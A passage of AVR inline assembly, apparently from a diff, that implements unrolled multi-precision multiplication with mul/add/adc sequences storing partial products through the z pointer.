\n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r3, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r4, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r5, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r6, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r7, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r8, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "mul r9, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "st z+, r22 \n\t" \ + "st z+, r23 \n\t" \ + \ + "sbiw r30, 46 \n\t" \ + "sbiw r28, 28 \n\t" \ + "sbiw r26, 18 \n\t" \ + "ld r2, x+ \n\t" \ + "ld r12, y+ \n\t" \ + "ld r3, x+ \n\t" \ + "ld r13, y+ \n\t" \ + "ld r4, x+ \n\t" \ + "ld r14, y+ \n\t" \ + "ld r5, x+ \n\t" \ + "ld r15, y+ \n\t" \ + "ld r6, x+ \n\t" \ + "ld r16, y+ \n\t" \ + "ld r7, x+ \n\t" \ + "ld r17, y+ \n\t" \ + "ld r8, x+ \n\t" \ + "ld r18, y+ \n\t" \ + "ld r9, x+ \n\t" \ + "ld r19, y+ \n\t" \ + "ld r10, x+ \n\t" \ + "ld r20, y+ \n\t" \ + "ld r11, x+ \n\t" \ + "ld r21, y+ \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r5, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r6, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r6, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r7, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r7, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r8, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r8, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r9, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r9, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r10, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r11, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r11, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc 